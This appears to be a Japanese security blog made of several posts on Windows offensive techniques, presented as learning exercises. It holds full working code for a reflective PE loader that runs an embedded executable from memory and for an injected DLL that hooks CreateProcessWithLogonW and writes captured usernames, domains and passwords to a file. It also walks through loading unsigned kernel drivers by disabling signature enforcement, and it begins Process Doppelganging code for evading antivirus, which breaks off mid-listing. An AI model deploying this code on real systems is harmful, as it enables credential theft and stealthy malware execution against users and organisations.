リソースの読み込み

組み込まれたリソースには以下のようにしてアクセスする.

     HRSRC hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RESOURCETYPE1), L"ResourceType");
        DWORD peSize = SizeofResource(NULL, hResource);
        HGLOBAL pe = LoadResource(NULL, hResource);
        LPVOID peBytes = VirtualAlloc(NULL, peSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(peBytes, pe, peSize);

FindResourceでリソースハンドルを取得し,VirtualAllocで確保したメモリ領域へコピーする. その後,コピーしたデータを実行可能なように調整を加えながら展開する.

FindResourceの引数には説明が必要だろう.

第1引数hModuleには、リソースが入ったモジュールのハンドルを指定する.今回は自分自身内のリソースなのでNULL指定でよい.

第2引数lpNameには、リソースの識別子を指定する.識別子はresource.hに自動的に定義されたものを使用する.

第3引数lpType にはリソースの型を指定する.今回はカスタムリソースであり,「カスタムリソースの種類」ウィンドウで入力した適当な名前"ResourceType"を指定する.

メモリ上に展開したEXEファイルの実行

ロードしたEXEファイルを実行するには,AddressOfEntryPointを使って関数ポインタを作成し,この関数を呼び出すことで実行できる.

 using PEEntry = VOID(*)();
    PEEntry PEmain = (PEEntry)((DWORD_PTR)peBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
    PEmain();

コード

以下がコードの全体像.

#include <iostream>
#include <Windows.h>
#include  "resource.h"

    typedef struct BASE_RELOCATION_BLOCK {
        DWORD PageAddress;
        DWORD BlockSize;
    } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK;

    typedef struct BASE_RELOCATION_ENTRY {
        USHORT Offset : 12;
        USHORT Type : 4;
    } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;


    int main()
    {

        HRSRC hResource = FindResource(NULL, MAKEINTRESOURCE(IDR_RESOURCETYPE1), L"ResourceType");
        DWORD peSize = SizeofResource(NULL, hResource);
        HGLOBAL pe = LoadResource(NULL, hResource);
        LPVOID peBytes = VirtualAlloc(NULL, peSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        memcpy(peBytes, pe, peSize);

        PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)peBytes;
        PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)peBytes + dosHeaders->e_lfanew);
        SIZE_T peImageSize = ntHeaders->OptionalHeader.SizeOfImage;

        LPVOID peBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase, peImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        DWORD_PTR deltaImageBase = (DWORD_PTR)peBase - (DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

        std::memcpy(peBase, peBytes, ntHeaders->OptionalHeader.SizeOfHeaders);

        PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
        for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
        {
            LPVOID sectionDestination = (LPVOID)((DWORD_PTR)peBase + (DWORD_PTR)section->VirtualAddress);
            LPVOID sectionBytes = (LPVOID)((DWORD_PTR)peBytes + (DWORD_PTR)section->PointerToRawData);
            std::memcpy(sectionDestination, sectionBytes, section->SizeOfRawData);
            section++;
        }

        IMAGE_DATA_DIRECTORY relocations = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
        DWORD_PTR relocationTable = relocations.VirtualAddress + (DWORD_PTR)peBase;
        DWORD relocationsProcessed = 0;

        while (relocationsProcessed < relocations.Size)
        {
            PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);
            relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);
            DWORD relocationsCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
            PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

            for (DWORD i = 0; i < relocationsCount; i++)
            {
                relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

                if (relocationEntries[i].Type == 0)
                {
                    continue;
                }

                DWORD_PTR relocationRVA = relocationBlock->PageAddress + relocationEntries[i].Offset;
                DWORD_PTR addressToPatch = 0;
                ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)peBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR), NULL);
                addressToPatch += deltaImageBase;
                std::memcpy((PVOID)((DWORD_PTR)peBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR));
            }
        }

        PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
        IMAGE_DATA_DIRECTORY importsDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
        importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)peBase);
        LPCSTR libraryName = "";
        HMODULE library = NULL;

        while (importDescriptor->Name != NULL)
        {
            libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)peBase;
            library = LoadLibraryA(libraryName);

            if (library)
            {
                PIMAGE_THUNK_DATA thunk = NULL;
                thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)peBase + importDescriptor->FirstThunk);

                while (thunk->u1.AddressOfData != NULL)
                {
                    if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
                    {
                        LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
                        thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
                    }
                    else
                    {
                        PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)peBase + thunk->u1.AddressOfData);
                        DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
                        thunk->u1.Function = functionAddress;
                    }
                    ++thunk;
                }
            }

            importDescriptor++;
        }

        using PEEntry = VOID(*)();
        PEEntry PEmain = (PEEntry)((DWORD_PTR)peBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
        PEmain();
    
        CloseHandle(pe);
        HeapFree(GetProcessHeap(), 0, peBytes);

        return 0;
    }

デモ

以下は実際に動作させてみた様子.

f:id:snoozekvn:20200318221445j:plain

うまく動作できているようだ.

デバッガを使ってメモリ内を見てみると確かにロードされていることがわかる.

f:id:snoozekvn:20200318221421j:plain

MALISOUSという文字は,筆者が分かりやすいようにロード対象のリソースファイルにハードコードしたもの. (綴りを間違っているのはご容赦願いたい)

リソースファイルの扱いで少々オバーヘッドがあるが,ReflectivePELoaderのコンセプトは再現できたのではないだろうか.

参考

ired.team

https://www.blackhat.com/docs/us-16/materials/us-16-Nipravsky-Certificate-Bypass-Hiding-And-Executing-Malware-From-A-Digitally-Signed-Executable-wp.pdf

メモリパッチによるAPIフックコードの実装をやってみる

メモリパッチによるAPIフックコードの実装をやってみる

今回は後学のために,FridaやMicrosoft Detoursなどの便利なライブラリやフレームワークに頼らないAPIフックコードの実装をやってみる.

フック処理を行うプログラムをDLLとして作成し,これをターゲットプロセスへDLLインジェクションで注入する. 最終的に資格情報をファイルとして出力させることを目標とする.

フック対象APIの調査

PowerShellのStart-Processコマンドレットなどのオプションに-Credentialを付けると続けて資格情報の入力を求められる.

これにより,あるプロセスを別のユーザーやドメインのセキュリティコンテキストで実行させることができる.

この動作をAPI Monitorで追ってみるとプロセスの作成にはWin32APIのCreateProcessWithLogonWを使用していることがわかる.

f:id:snoozekvn:20200229090447j:plain

MSDNによるとこのAPIのプロトタイプは次のようになっている.

BOOL CreateProcessWithLogonW(
  LPCWSTR               lpUsername,
  LPCWSTR               lpDomain,
  LPCWSTR               lpPassword,
  DWORD                 dwLogonFlags,
  LPCWSTR               lpApplicationName,
  LPWSTR                lpCommandLine,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCWSTR               lpCurrentDirectory,
  LPSTARTUPINFOW        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

このAPI冒頭数バイトを不正な関数へとジャンプする機械語へと書き換えることでフックを行う.

APIフックコードの概要

フックコードの実装は大まかに次のようにすればよいだろう.

  1. ターゲットプロセスのメモリ空間内に存在するCreateProcessWithLogonWへのアドレスの特定
  2. CreateProcessWithLogonWが見つかった場合,このAPIの先頭12バイトを不正な関数へジャンプする機械語に置き換える
  3. 不正な関数内で資格情報をインターセプト
  4. システムが正常に処理を完了できるように,インターセプトした資格情報を使って正規のCreateProcessWithLogonWを呼び出す

不正な関数では,資格情報をファイルとして書き出した上で,システムが正常に処理を完了できるように正規のCreateProcessWithLogonWを呼び出す.

CreateProcessWithLogonWAPIの特徴点

フック処理を行う前に,先んじてターゲットプロセスのメモリ空間内に存在するCreateProcessWithLogonWのアドレスを特定する必要がある.

DLLからエクスポートされている関数をフックする場合,その関数へのアドレスは関数ポインタなどを利用することによって簡単に求めることができる。

しかし今回はこの方法ではなく,特徴点となる機械語でターゲットプロセス内のメモリ空間を探索するという方針でやってみる.

まずはCreateProcessWithLogonWの特徴点となる機械語を特定する.

ここでいう特徴点とはCreateProcessWithLogonW内部だと判定できる一意な機械語のことを指す.

特徴点となる機械語の求め方はいろいろあると思うが,今回は練習もかねてWinDbgを使って求めてみる.

MSDNによると,CreateProcessWithLogonWはAdvapi32.dllからエクスポートされていることがわかる.

WinDbgで特定の関数へのアドレスを求めるには次のようにすればよい.

まずWinDbgPowerShellにアタッチし,ロードされているモジュールを列挙する.

0:026> lm
start             end                 module name
00007ff7`d2ed0000 00007ff7`d2f41000   powershell   (pdb symbols)          C:\ProgramData\Dbg\sym\powershell.pdb\D2F07EB4AF4CA8F5362A77028F6214F11\powershell.pdb
00007ff8`7e090000 00007ff8`7ed93000   Microsoft_PowerShell_Commands_Utility_ni   (deferred)             
00007ff8`7eda0000 00007ff8`80e06000   System_Management_Automation_ni   (deferred)             
00007ff8`90bc0000 00007ff8`90dda000   OpcServices   (deferred)             
00007ff8`91480000 00007ff8`9166d000   Microsoft_CSharp_ni   (deferred)             
// 省略
00007ff8`e5bc0000 00007ff8`e5c63000   ADVAPI32   (deferred)             
// 省略

続いてADVAPI32内の関数を列挙する.

0:026> x /D ADVAPI32!a*
 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

00007ff8`e5bd7294 ADVAPI32!AccProvpLoadMartaFunctions (void)
00007ff8`e5bd73e0 ADVAPI32!AccProvpGetStringFromRegistry (void)
00007ff8`e5bd52a0 ADVAPI32!AppmgmtInitialize (void)
00007ff8`e5bcc540 ADVAPI32!AllocateAndInitializeExtObject (void)
00007ff8`e5bda6dc ADVAPI32!AccProvpInitProviders (void)
// 省略

この中からCreateProcessWithLogonWを検索すればよい.

検索をかけていくと次のような出力を得る.

// 省略
00007ff8`e5bf3028 ADVAPI32!CodeAuthzpComputeImageHash (CodeAuthzpComputeImageHash)
00007ff8`e5bca434 ADVAPI32!CodeAuthzGuidIdentsLoadTableAll (CodeAuthzGuidIdentsLoadTableAll)
00007ff8`e5c028c0 ADVAPI32!CreateProcessWithLogonW (CreateProcessWithLogonW)
00007ff8`e5bdc880 ADVAPI32!CreateServiceEx (CreateServiceEx)
// 省略

これにより,CreateProcessWithLogonWはアドレス00007ff8`e5c028c0にロードされていることがわかった.

MemoryウィンドウとDisassemblyウィンドウで確認してみる.

f:id:snoozekvn:20200228055004j:plain

特徴点として選択する機械語はどこでもよいが,今回は関数先頭からの数十バイト程度を選択した.

0x4C ,0x8B ,0xDC ,0x48 ,0x83 ,0xEC ,0x68 ,0x48 ,0x8B ,0x84 ,0x24 ,0xC0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xF0 ,0x48 ,0x8B ,0x84 ,0x24 ,0xB8 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xE8 ,0x48

試しにHxDなどでこの値を検索してみると確かに1件しかヒットせず,一意な機械語になっていることがわかる.

f:id:snoozekvn:20200228082159j:plain

これでCreateProcessWithLogonWの特徴点となる機械語が求まった.

この機械語をもとにターゲットプロセス内のメモリ空間を探索することで,パッチを当てる部分を特定する.

フック処理

メモリ空間を探索し,特徴点となる機械語がヒットしたら,次はその部分を不正な関数へとジャンプさせる機械語へと書き換える.

フック処理部分は,解説を読むよりも最初にコードを見てもらったほうが理解しやすいだろう.

void installCreateProcessWithLogonW()
{
    // 無限ループ回避用遅延
    Sleep(1000 * 2);

    // ターゲットモジュール内のイメージ領域サイズを取得
    HMODULE targetModule = GetModuleHandle(TEXT("advapi32.dll"));
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew);
    SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;

    // ターゲットモジュールのイメージ領域内を特徴点で探索し,CreateProcessWithLogonWのアドレスを求める
    addressOfCreateProcessWithLogonW =(LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char*)targetModule, PatternCreateProcessWithLogonW, sizeof(PatternCreateProcessWithLogonW), sizeOfImage);

    // フック前の正規な機械語を保存
    std::memcpy(bytesToRestoreCreateProcessWithLogonW, addressOfCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW));

    // フック処理準備 "mov rax, &hookedCreateProcessWithLogonW; jmp rax"; となるように機械語を準備する
    DWORD_PTR addressBytesOfhookedCreateProcessWithLogonW = (DWORD_PTR)&hookedCreateProcessWithLogonW;
    std::memcpy(PatchCreateProcessWithLogonW + 2, &addressBytesOfhookedCreateProcessWithLogonW, sizeof(&addressBytesOfhookedCreateProcessWithLogonW));
    std::memcpy(PatchCreateProcessWithLogonW + 2 + sizeof(&addressBytesOfhookedCreateProcessWithLogonW), (PVOID) & "\xff\xe0", 2); // jmp rax;

    // フック処理
    SIZE_T* bytesWritten = NULL;
    WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, PatchCreateProcessWithLogonW, sizeof(PatchCreateProcessWithLogonW), (SIZE_T*)&bytesWritten);
}

フック前,つまりWriteProcessMemoryにより機械語が書き換えられる前が以下の画像.

f:id:snoozekvn:20200228064506j:plain

処理を進めると次の画像のように値が書き換わるのが確認できる.

f:id:snoozekvn:20200228064517j:plain

これにより,CreateProcessWithLogonWが呼び出された際に,不正な関数へとジャンプするようになった.

コード

作成したコードは以下.

#include<pch.h>
#include <iostream>
#include <stdio.h>
#include <Windows.h>
#define SECURITY_WIN32
#include <Sspi.h>
#include <ntsecapi.h>
#include <ntsecpkg.h>
#include <userenv.h>


#pragma comment(lib, "Userenv")

using _CreateProcessWithLogonW = NTSTATUS(NTAPI*)(LPCWSTR  lpUsername, LPCWSTR    lpDomain, LPCWSTR  lpPassword, DWORD  dwLogonFlags, LPCWSTR pApplicationName, LPWSTR lpCommandLine, DWORD    dwCreationFlags, LPVOID   lpEnvironment, LPCWSTR    lpCurrentDirectory, LPSTARTUPINFOW   lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
char PatternCreateProcessWithLogonW[] = { 0x4C ,0x8B ,0xDC ,0x48 ,0x83 ,0xEC ,0x68 ,0x48 ,0x8B ,0x84 ,0x24 ,0xC0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xF0 ,0x48 ,0x8B ,0x84 ,0x24 ,0xB8 ,0x00 ,0x00 ,0x00 ,0x49 ,0x89 ,0x43 ,0xE8 ,0x48 };

// mov rax, &CreateProcessWithLogonW
char PatchCreateProcessWithLogonW[12] = { 0x48, 0xb8 };
PVOID patternStartAddressOfSpAccecptedCredentials = NULL;
PVOID addressOfCreateProcessWithLogonW = NULL;
char bytesToRestoreCreateProcessWithLogonW[12] = { 0 };
void installCreateProcessWithLogonW();


PVOID GetPatternMemoryAddress(char* startAddress, char* pattern, SIZE_T patternSize, SIZE_T searchBytes)
{
    unsigned int index = 0;
    PVOID patternAddress = NULL;
    char* patternByte = 0;
    char* memoryByte = 0;

    do
    {
        if (startAddress[index] == pattern[0])
        {
            for (size_t i = 1; i < patternSize; i++)
            {
                *(char*)&patternByte = pattern[i];
                *(char*)&memoryByte = startAddress[index + i];

                if (patternByte != memoryByte)
                {
                    break;
                }

                if (i == patternSize - 1)
                {
                    patternAddress = (LPVOID)(&startAddress[index]);
                    return patternAddress;
                }
            }
        }
        ++index;
    } while (index < searchBytes);

    return (PVOID)NULL;
}

NTSTATUS NTAPI hookedCreateProcessWithLogonW(LPCWSTR  lpUsername, LPCWSTR    lpDomain, LPCWSTR  lpPassword, DWORD  dwLogonFlags, LPCWSTR pApplicationName, LPWSTR lpCommandLine, DWORD    dwCreationFlags, LPVOID   lpEnvironment, LPCWSTR    lpCurrentDirectory, LPSTARTUPINFOW   lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
{
    HANDLE file = CreateFile(TEXT("C:\\temp\\credentials.txt"), GENERIC_ALL, 0, NULL, CREATE_ALWAYS, NULL, NULL);

    //debug
    //printf("lpUsername: %ls\n", lpUsername);
    //printf("lpPassword: %ls\n", lpPassword);

    // output 
    DWORD bytesWritten = 0;
    WriteFile(file, lpUsername, lstrlen(lpUsername) * 2, &bytesWritten, NULL);
    WriteFile(file, "@", 2, &bytesWritten, NULL);
    WriteFile(file, lpDomain, lstrlen(lpDomain) * 2, &bytesWritten, NULL);
    WriteFile(file, ":", 2, &bytesWritten, NULL);
    WriteFile(file, lpPassword, lstrlen(lpPassword) * 2, &bytesWritten, NULL);
    CloseHandle(file);

    //unhook
    WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, bytesToRestoreCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW), NULL);

    CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)installCreateProcessWithLogonW, NULL, NULL, NULL);

    _CreateProcessWithLogonW originalCreateProcessWithLogonW = (_CreateProcessWithLogonW)addressOfCreateProcessWithLogonW;
    return originalCreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags, pApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
}

void installCreateProcessWithLogonW()
{
    Sleep(1000 * 2);
    HMODULE targetModule = GetModuleHandle(TEXT("advapi32.dll"));

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetModule;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetModule + dosHeader->e_lfanew);
    SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;

    patternStartAddressOfSpAccecptedCredentials = (LPVOID)(DWORD_PTR)GetPatternMemoryAddress((char*)targetModule, PatternCreateProcessWithLogonW, sizeof(PatternCreateProcessWithLogonW), sizeOfImage);
    addressOfCreateProcessWithLogonW = (LPVOID)((DWORD_PTR)patternStartAddressOfSpAccecptedCredentials);

    std::memcpy(bytesToRestoreCreateProcessWithLogonW, addressOfCreateProcessWithLogonW, sizeof(bytesToRestoreCreateProcessWithLogonW));

    // hook advapi32!CreateProcessWithLogonW  "mov rax, &hookedCreateProcessWithLogonW; jmp rax";
    DWORD_PTR addressBytesOfhookedCreateProcessWithLogonW = (DWORD_PTR)&hookedCreateProcessWithLogonW;
    std::memcpy(PatchCreateProcessWithLogonW + 2, &addressBytesOfhookedCreateProcessWithLogonW, sizeof(&addressBytesOfhookedCreateProcessWithLogonW));
    std::memcpy(PatchCreateProcessWithLogonW + 2 + sizeof(&addressBytesOfhookedCreateProcessWithLogonW), (PVOID) & "\xff\xe0", 2); // jmp rax;

    SIZE_T* bytesWritten = NULL;
    WriteProcessMemory(GetCurrentProcess(), addressOfCreateProcessWithLogonW, PatchCreateProcessWithLogonW, sizeof(PatchCreateProcessWithLogonW), (SIZE_T*)&bytesWritten);

}


BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        OutputDebugString(TEXT("=================\n"));
        installCreateProcessWithLogonW();
        OutputDebugString(TEXT("=================\n"));
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

デモ

話を単純にするため,まずは自プロセス内のCreateProcessWithLogonWをフックするプログラムを作成し,実験してみる.

正しく動作していることがわかる.

www.youtube.com

次に,DLLとしてこのプログラムを書き直し,DLLインジェクションによるリモートプロセスへの注入で正しく動作するか試してみる.

正しく動作していることがわかる.

www.youtube.com

以上.

参考

book.impress.co.jp

Windowsにカーネルドライバを読み込ませてみる

Windowsカーネルドライバを読み込ませてみる

カーネルドライバを作成し,Windowsシステムにロードさせてみる.

まず以下を参考にドライバ開発環境を用意する.

初めてのドライバーの作成 - Windows drivers | Microsoft Docs

環境

VirtualBox上にWindowsホストを立て必要物をインストールする.

バージョン情報は以下の通り.

// VirtualBox
バージョン 6.1.2 r135662 (Qt5.6.2)
// Windows
C:\Users\victim>ver

Microsoft Windows [Version 10.0.18363.592]

カーネルドライバ開発必要物

VirtualBox上のWindowsホストに以下をインストールする.

  1. Visual Studio
  2. Windows SDK
  3. Windows Driver Kit (WDK)

Visual Studio 2019 のインストール

以下のリンクからVisual Studioをインストールする.

Visual Studio: ソフトウェア開発者とチーム向けの IDE およびコード エディター

Windows SDKのインストール

続いてSDKをインストールする.

Visual Studio付属のインストーラーを利用する.

f:id:snoozekvn:20200224012419p:plain

Windows Driver Kit (WDK)のインストール

WDKは専用ページからインストーラーをダウンロードしてくる必要がある

Windows Driver Kit (WDK) のダウンロード - Windows drivers | Microsoft Docs

インストーラーに従いインストールするだけでよく,そのほかの操作は必要ない.

カーネルドライバの作成

以下を参考にHelloWorldを出力するドライバを作成する.

Hello World Windows ドライバーの作成 (KMDF) - Windows drivers | Microsoft Docs

まずVisualStudioのプロジェクトからKernel Mode Driver, Empty (KMDF)を選択する.

f:id:snoozekvn:20200224012430p:plain

続いてソースファイルにkmdfHelloWorld.cを追加する.

今回は動作確認が目的なので処理内容は何でもよい.

デバッグビューに文字列を出力する以下のようなコードを用意した.

#include <ntddk.h>
#include <wdm.h>

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObje,
        PUNICODE_STRING RegistryPath)
{
    UNREFERENCED_PARAMETER(pDriverObje);
    UNREFERENCED_PARAMETER(RegistryPath);
    DbgPrint("Hello World\n");
    return STATUS_SUCCESS;
}

これをビルドしようとすると筆者の環境ではSpectre軽減策に関するコンパイルエラーがでた.

これは「プロジェクト」内の「プロパティ」を選択し,「C/C++」の「コード生成」を選択,「Spectre軽減策」をオフにすることで抑制できる(なおSpectre軽減策を含むビルドツールはVisual Studio Installerからインストールできる).

f:id:snoozekvn:20200224012427j:plain

うまくビルドできればDebugフォルダ内にkmdfHelloWorld.sysが作成されるはず.

ドライバのロード

ドライバをシステムにロードする方法はいろいろあり,

  1. scコマンドからサービスを登録する
  2. OSC loaderのようなツールを使用する
  3. 専用ローダーを自作する

などがある.

今回はscコマンドを使用してドライバをロードする.

以下のコマンドでサービスとしてドライバを登録する.

sc create [ServiceName] binPath="[DriverPath]" type=kernel

この時,ProcessHackerを起動しておくと,ドライバの読み込み成功時にポップアップ通知してくれるので成功可否がわかりやすい.

サービスの開始

以下のコマンドで作成したサービスを開始する.これによりドライバがシステムにロードされる.

sc start [ServiceName]

ただし,デフォルトでは以下のように署名なしドライバはロードできない.

f:id:snoozekvn:20200224012423p:plain

署名無しドライバを読み込ませるには追加の設定が必要となる.

「署名付きドライバの強制」のオフ

デフォルトのWindows10では署名付きドライバのみロードが許される.

この「署名付きドライバの強制」をオフにするには以下のうちいずれかを行い,再起動すればよい.

CUI操作で「署名付きドライバの強制」をオフにする方法

bcdedit.exeでブート構成データを調整し再起動する.

bcdedit.exe  /set testsigning on

GUI操作で「署名付きドライバの強制」をオフにする方法

スタートボタン内から[電源] をクリックしてShiftキーを押しながら [再起動]をクリックする.

トラブルシューティング」→「詳細オプション」→ 「スタートアップ設定」と進み,以下の画面へ進む.

f:id:snoozekvn:20200224013150j:plain

ドライバの動作確認

DebugViewを管理者権限で起動し,「Capture Kernel」を選択する.

この状態で,再度サービス開始コマンドを発行すれば,ドライバが正常にロードされHelloWorldがDebugViewに出力される.

www.youtube.com

以上.

参考

proc-cpuinfo.fixstars.com

inaz2.hatenablog.com

Transactional NTFS利用によるProcess Doppelgangingをやってみる

Transactional NTFS利用による Process Doppelgangingをやってみる

マルウェアなどがAVスキャナーからの検知を逃れるために使う手法の1分野にProcess Injctionがある. 本記事では以下のリポジトリを参考に,Process Injction手法の1つであるTransactional NTFS利用によるProcess Doppelgangingをやってみる.

github.com

本手法の概要

Process injection手法の1つにProcess Hollowingがある. これは正規のプロセスのイメージをアンマップし,悪意あるコードを注入,実行するというものだ. Process Doppelgangingはこれと似たような動作をする.

まず正規のファイルをNTFSトランザクションを介してオープンし中身をペイロードで置き換える.このファイルをメモリにロード後,明示的にRollbackを行う.Rollback後はディスク上には正規ファイルが,メモリ上にはペイロードファイルがそれぞれ残ることになり,結果としてファイルレスなペイロードのロードと実行が行える.

以降ではWin32APIを使ったNTFSトランザクションについての基本的な部分を解説した後,Process Doppelgangingの実装について解説する.

NTFSトランザクション

Windowsはいくつかのトランザクション処理用APIを提供している.
これによりファイル操作をACID特性を伴って実行できる.

トランザクションAPIはファイル操作系APIにTransactedというサフィックスがつくのが特徴だ.

主な処理の流れは以下のようになる.

  1. CreateTransactionでトランザクションハンドルを取得し、トランザクション開始
  2. トランザクションハンドルを使用して、各種ファイル操作を行う
  3. CommitTransactionでトランザクションをコミット
  4. CloseTransactionでトランザクション終了

トランザクションロールバック

途中の失敗などでコミットすることなくトランザクションを終了した場合,一連の処理はロールバックされる.

トランザクション中のファイルの変更はACID特性故に他プロセスから見えないため,ディスク上にドロップされたペイロードファイルを検知するのは困難だ.

ただし後述するように,トランザクションAPIが利用されることは非常にまれなため,現在のAVスキャナーは容易に本手法を検知する.

Process Doppelgangingの実装

大まかに以下のような処理を行う.

  1. CreateTransactionでトランザクションを開始.
  2. トランザクション内でターゲットファイルをペイロードファイルで上書き.
  3. 上書きされたターゲットファイルから新規セクションを作成.
  4. ターゲットファイルをロールバック.(ターゲットファイルは元の正規ファイルに戻るが,メモリ上にはペイロードファイルが残る)
  5. プロセス作成に必要な諸々を設定し新規スレッドを作成してメモリ上にロードされたペイロードファイルを実行.

なお今回はあらかじめディスク上に用意したファイルをペイロードとして使用した.

以下がそのコードになる.

#include<stdio.h>
#include<stdlib.h>
#include<iostream>
#include<Windows.h>
#include "ntos.h"
#pragma comment(lib, "Ntdll.lib")

int main() {

    // init ntdll.dll  func
    HINSTANCE hinstStub = GetModuleHandle(L"ntdll.dll");
    NtCreateTransaction = (LPNTCREATETRANSACTION)GetProcAddress(hinstStub, "NtCreateTransaction");
    NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtAllocateVirtualMemory");
    NtCreateSection = (LPNTCREATESECTION)GetProcAddress(hinstStub, "NtCreateSection");
    NtRollbackTransaction = (LPNTROLLBACKTRANSACTION)GetProcAddress(hinstStub, "NtRollbackTransaction");
    NtClose = (LPNTCLOSE)GetProcAddress(hinstStub, "NtClose");
    NtCreateProcessEx = (LPNTCREATEPROCESSEX)GetProcAddress(hinstStub, "NtCreateProcessEx");
    NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(hinstStub, "NtQueryInformationProcess");
    NtReadVirtualMemory = (LPNTREADVIRTUALMEMORY)GetProcAddress(hinstStub, "NtReadVirtualMemory");
    NtWriteVirtualMemory = (LPNTWRITEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtWriteVirtualMemory");
    NtCreateThreadEx = (LPNTCREATETHREADEX)GetProcAddress(hinstStub, "NtCreateThreadEx");
    NtFreeVirtualMemory = (LPNTFREEVIRTUALMEMORY)GetProcAddress(hinstStub, "NtFreeVirtualMemory");
    RtlCreateProcessParametersEx = (LPRTLCREATEPROCESSPARAMETERSEX)GetProcAddress(hinstStub, "RtlCreateProcessParametersEx");
    RtlDestroyProcessParameters = (LPRTLDESTROYPROCESSPARAMETERS)GetProcAddress(hinstStub, "RtlDestroyProcessParameters");
    RtlImageNtHeader = (LPRTLIMAGENTHEADER)GetProcAddress(hinstStub, "RtlImageNtHeader");
    RtlInitUnicodeString = (LPRTLINITUNICODESTRING)GetProcAddress(hinstStub, "RtlInitUnicodeString");

    // test  
    LPCWSTR lpTargetApp = L".\\test.txt";
    LPCWSTR lpPayloadApp = L".\\popup_HelloWorld.exe";

    HANDLE hTransaction = NULL, hTransactedFile = INVALID_HANDLE_VALUE, hFile = INVALID_HANDLE_VALUE;
    HANDLE hSection = NULL, hProcess = NULL, hThread = NULL;
    LARGE_INTEGER fsz;
    ULONG ReturnLength = 0;
    ULONG_PTR EntryPoint = 0, ImageBase = 0;
    PVOID Buffer = NULL, MemoryPtr = NULL;
    SIZE_T sz = 0;
    PEB* Peb;

    PROCESS_BASIC_INFORMATION pbi;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;

    OBJECT_ATTRIBUTES obja;
    UNICODE_STRING    ustr;

    BYTE temp[0x1000];
    RtlSecureZeroMemory(&temp, sizeof(temp));

    // NTFSトランザクションオブジェクトを作成
    InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
    NtCreateTransaction(&hTransaction,
        TRANSACTION_ALL_ACCESS,
        &obja,
        NULL,
